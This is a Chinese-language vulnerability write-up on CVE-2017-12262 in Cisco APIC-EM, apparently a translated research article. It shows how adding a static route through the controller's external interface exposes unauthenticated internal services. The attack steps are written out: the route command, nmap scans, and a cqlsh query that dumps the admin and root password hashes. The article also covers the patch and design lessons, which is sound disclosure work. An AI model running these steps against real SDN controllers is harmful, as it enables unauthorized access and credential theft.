如何通过外部接口访问APIC-EM的内部网络:CVE-2017-12262

阅读量    56856 | 评论 2   稿费 200

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

一、前言

应用策略基础设施控制器企业模块(Application Policy Infrastructure Controller Enterprise Module, APIC-EM)是思科针对企业网络设计的SDN(软件定义网络)控制器,根据思科的说法,APIC-EM利用了许多非常先进的前沿技术,可以解决五花八门的问题。

“(APIC-EM)提供了基于策略的自动化平台,可以简化并抽象网络相关信息,能够将业务意图转化为具体的网络控制流程。这个平台可以托管多个易于使用的SDN应用,这些应用提供了开放式REST(Representational State Transfer,表述性状态传递) API北向接口(即向上提供的接口),以推动网络自动化解决方案。该平台同样支持许多南向协议(即向下提供的协议),通过这些协议与客户已部署的网络设备进行通信,因此能够将SDN的优势拓展到全新网络或者已有一定基础的网络环境中。APIC-EM平台的目标是为下一代SDN应用提供支持,以大大降低运营成本,提高网络灵活性,以满足业务需求。”

 

二、技术背景

思科APIC-EM实现了一种PaaS(Platform as a Service,平台即服务)环境,其中使用了Grapevine作为Elastic Services平台,以支持控制器的基础架构及服务。这种解决方案由两种类型的系统组成,即Grapevine root(根)以及Grapevine client(客户)。Grapevine root作为应用程序运行在某台主机上,使用了修改版的Ubuntu Linux作为操作系统,而Grapevine client则位于LXC(Linux containers,Linux容器)中。root负责处理与服务有关的所有策略管理事务,如服务更新、root及Grapevine client的服务生命周期。Grapevine client运行在root系统之上,运行着平台支持的那些服务。

思科的APIC-EM需要配备两个网络才能正常工作。第一个为内部网,包含Grapevine root以及client,这些root及client之间相互连接,可以相互通信。这个网络为隔离网络,外部网络无法路由到或者访问到这个网络。另一方面,APIC-EM通过外部网络接口提供了控制器的Web前端(GUI)访问界面以及REST API接口。

 

三、环境搭建

首先介绍一下如何搭建实验环境。我们所使用的产品版本为APIC-EM-1.4.3.1009。我们使用独立(standalone)模式来部署APIC-EM虚拟设备,并参考思科的官方文档进行配置。

APIC-EM虚拟机中包含一个外部NIC(网卡),其IP地址为172.16.231.254/24,具体信息如下:

$ ifconfig 
eth0 Link encap:Ethernet HWaddr 00:0c:29:39:ba:b7 
 inet addr:172.16.231.254 Bcast:172.16.231.255 Mask:255.255.255.0
 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
 RX packets:486859 errors:0 dropped:0 overruns:0 frame:0
 TX packets:479599 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:1000 
 RX bytes:36431324 (36.4 MB) TX bytes:40919272 (40.9 MB)

grape-br0 Link encap:Ethernet HWaddr fe:24:34:a0:f7:1b 
 inet addr:169.254.0.1 Bcast:169.254.0.255 Mask:255.255.255.0
 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
 RX packets:169165 errors:0 dropped:0 overruns:0 frame:0
 TX packets:169964 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:0 
 RX bytes:10041555 (10.0 MB) TX bytes:12541655 (12.5 MB)

lo Link encap:Local Loopback 
 inet addr:127.0.0.1 Mask:255.0.0.0
 UP LOOPBACK RUNNING MTU:65536 Metric:1
 RX packets:1396822 errors:0 dropped:0 overruns:0 frame:0
 TX packets:1396822 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:0 
 RX bytes:6805835191 (6.8 GB) TX bytes:6805835191 (6.8 GB)

veth7D8YVY Link encap:Ethernet HWaddr fe:24:34:a0:f7:1b 
 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
 RX packets:84559 errors:0 dropped:0 overruns:0 frame:0
 TX packets:85335 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:1000 
 RX bytes:6204723 (6.2 MB) TX bytes:6285922 (6.2 MB)

vethP5HRD4 Link encap:Ethernet HWaddr fe:96:03:f1:2d:8c 
 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
 RX packets:84606 errors:0 dropped:0 overruns:0 frame:0
 TX packets:85389 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:1000 
 RX bytes:6205142 (6.2 MB) TX bytes:6288509 (6.2 MB)

(grapevine)
[Fri Jun 16 15:11:47 UTC] grapevine@172.16.231.254 (grapevine-root-1) ~
$

其中,eth0接口连接的是外部网络,而grape-br0属于内部的Grapevine网络区域,只有可信的LXC才能访问这个网段。

攻击者的系统位于外部LAN中,即172.16.231.0/24。我们快速扫描了APIC-EM外部接口的端口开放情况,得到如下结果:

munmap@oceania:~$ nmap -n -p1-65535 -sT 172.16.231.254

Starting Nmap 6.47 ( http://nmap.org ) at 2017-06-16 15:36 BST
Nmap scan report for 172.16.231.254
Host is up (0.0069s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp filtered domain
80/tcp open http
443/tcp open https
3000/tcp open ppp
4369/tcp open epmd
14141/tcp open bo2k
24007/tcp open unknown
49152/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 3.01 seconds
munmap@oceania:~$

如上所示,我们并没有发现特别有用的信息。80、443以及3000端口都是Web前端接口,需要身份认证才能访问。根据上述信息,我们可知4369端口对应的是EPMD(Erlang Port Mapper Daemon)服务,并且我们可以通过14141端口访问Grapevine开发者控制台,这个控制台同样需要身份认证。此外,24007以及49152端口均已被GlusterFS集群文件系统守护进程占用。

与此同时,有多个服务正在APIC-EM内部网络上运行,Grapevine root及client可以使用这些服务。内部网络范围已被硬编码限制为169.254.0.0/24。这些服务中有一些非常知名的服务,如Apache Cassandra、RabbitMQ、Supervisor以及Hazelcast。然而,外部LAN中的恶意主机无法与这些服务通信,根据RFC 5735的规定,169.254.0.0/16是保留网络,专用于链路本地(link-local)场景,也就是说数据包无法路由到这个网络。我们可以使用如下命令来确认这一点:

munmap@oceania:~$ route -n | grep ^169
169.254.0.0 0.0.0.0 255.255.0.0 U 1000 0 0 eth0
munmap@oceania:~$ ping -c 1 169.254.0.1
PING 169.254.0.1 (169.254.0.1) 56(84) bytes of data.
From 10.0.7.64 icmp_seq=1 Destination Host Unreachable

--- 169.254.0.1 ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
munmap@oceania:~$

这种情况下,我们通常会把中心放在Web前端界面中,寻找绕过身份验证的方法,以访问控制器上包含的任何敏感信息。

 

四、脱离束缚

首先,让我们“自欺欺人”一下,假装从来没听说过RFC 5735标准,也就是说,我们认为169.254.0.0/16是一个非常普通的IP地址范围。那么,我们有没有办法能够通过外部LAN与内部网中的服务交互?我们为什么不尝试一下为169.254.0.0/16添加静态路由,通过APIC-EM主机的外部接口来访问其内部网呢?

munmap@oceania:~$ sudo route add -net 169.254.0.0/24 gw 172.16.231.254
munmap@oceania:~$ ping -c 1 169.254.0.1
PING 169.254.0.1 (169.254.0.1) 56(84) bytes of data.
64 bytes from 169.254.0.1: icmp_seq=1 ttl=64 time=0.168 ms

--- 169.254.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.168/0.168/0.168/0.000 ms
munmap@oceania:~$

结果看起来非常好,貌似我们可以访问内部网络,即APIC-EM中的169.254.0.0/24网络。因此,攻击者可以借此访问内部网络中的主机及服务。这个问题的主要原因在于系统缺乏流量过滤机制,并且APIC-EM系统中默认启用了IP转发功能。

$ cat /proc/sys/net/ipv4/ip_forward
1
(grapevine)
[Fri Jun 16 15:12:00 UTC] grapevine@172.16.231.254 (grapevine-root-1) ~
$

现在,让我们再次做一次快速端口扫描,看情况有没有发生变化:

munmap@oceania:~$ nmap -n -p1-65535 -sT 169.254.0.1

Starting Nmap 6.47 ( http://nmap.org ) at 2017-06-16 15:59 BST
Nmap scan report for 169.254.0.1
Host is up (0.0079s latency).
Not shown: 65517 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp filtered domain
80/tcp open http
443/tcp open https
3000/tcp open ppp
4369/tcp open epmd
5671/tcp open unknown
5672/tcp open amqp
5701/tcp open unknown
7000/tcp open afs3-fileserver
9001/tcp open tor-orport
9042/tcp open unknown
9160/tcp open apani1
14140/tcp open unknown
14141/tcp open bo2k
24007/tcp open unknown
25672/tcp open unknown
49152/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 2.77 seconds
munmap@oceania:~$

这一次我们可以看到结果中多了9个服务,其中某些服务(如Apache Cassandra、RabbitMQ以及Supervisor)并不需要身份认证即可访问,原因在于系统认为只有可信的LXC才会访问这些服务,因此并没有做任何限制。

为了演示这个问题所能带来的影响,我们可以连接到Apache Cassandra,获取Web前端以及root账户的密码散列,如下所示:

munmap@oceania:~$ cqlsh 169.254.0.1 9042
Connected to Test Cluster at 169.254.0.1:9042.
[cqlsh 5.0.1 | Cassandra 2.1.5 | CQL spec 3.2.0 | Native protocol v3]
Use HELP for help.
cqlsh> SELECT username,authorization,password FROM grapevine.rbac_user;

 username | authorization | password
----------+-----------------------+-------------------------------------------------------------------------------------------------------
 admin | {'ALL': 'ROLE_ADMIN'} | 2Vzt4qfGmakw9UmOmZrAqm9A1Qao3h2PCKiWqZ8gFB3XseKuVM7NoA==$95rSYiRERSYrg4f+4eEbYNwndyxtxUU0qcvWTaD3Ns8=

(1 rows)
cqlsh> SELECT vm_password FROM grapevine.roots;

 vm_password
------------------------------------------------------------------------------------------------------------
 $6$V8nt06mrONhC7tez$fjIspZtRq5Pw/eYTmNWEdU0DdzRvh75VmuyNr.r1PenS5ohKVXfRheSsR5c0HC0L6Kb8aXFh3Bkz1Rsg3pHLz1

(1 rows)
cqlsh> exit
munmap@oceania:~$

从此时起,攻击者可以使用各种方法来干扰或者进一步控制APIC-EM系统。比如,我们可以通过Apache Cassandra的CQL shell将自己的用户添加到系统中,或者向RabbitMQ推送伪造的消息来改变SDN的整体配置等等。

 

五、攻击升级

在前面演示案例中,只有当攻击者与SDN控制器位于同一个Layer 2网络中时,才能执行类似攻击动作。如果想远程利用这个漏洞(比如经过一个或者多个网络中继节点),问题在于中间路由器并没有掌握链路本地网络的路由信息。

有一种方法能够克服这种攻击限制条件,虽然这种方法基本只在理论上可行,并且严重依赖于某些环境配置条件。中间路由器的配置情况千差万别,某些条件下,我们可以结合使用IP记录路由(record route)以及IP源路径路由(source routing)将数据包投递至169.254.0.0/24网段中,或者从该网段中发出。然而,请记住这仅仅是一个理论猜想,我们并没有进一步验证这个场景。

 

六、补丁情况

思科在APIC-EM 1.5版本中解决了这个问题,具体方法是过滤掉外部接口上与169.254.0.0/24有关的流量。这的确是非常快速而又简单的解决办法,然而,从更深层次的防御理念来看,我们认为在优秀的应用设计思路中,应该对运行在内部的服务强制采用身份认证机制。

该漏洞编号为CVE-2017-12262 (CVSS 8.8)

 

七、总结

新的技术同样需要经过仔细的评估。虽然SDN提供了许多非常优秀的安全特性(比如细粒度切割(micro-segmentation)以及主动隔离被攻击影响的主机),然而其所涉及的技术栈(technology stack)非常新颖,与传统的技术栈相比,这些技术栈并没有经过多年实践的磨练及完善,因此容易出现一些纰漏。然而,组织机构不能忽视这些新技术所带来的安全风险。根据MWR的经验,我们认为想要在收获最大利益的同时最大限度地降低风险,关键在于使用良好的架构及安全保证。

如果架构设计得足够良好,可以阻止普通主机发现SDN控制器的管理接口,那么就不会出现这个问题。与正常情况一样,我们应该限制管理接口访问条件,只有最小范围的必要的主机才能访问这些接口。内部接口总是存在被暴露的安全风险,因此减少可能存在的这种攻击面依然值得尝试。

如果某些服务必须对外开放,那么组织机构不应当听信厂商的一面之词,认为这些服务足够安全。如果厂商无法拿出安全开发及威胁建模的具体凭证,也无法给出先前所做的安全测试案例,那么组织机构可以考虑自己来评估这些产品的安全(比如在本文中,我们可以看到各单位对RFC标准的理解并不相同)。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多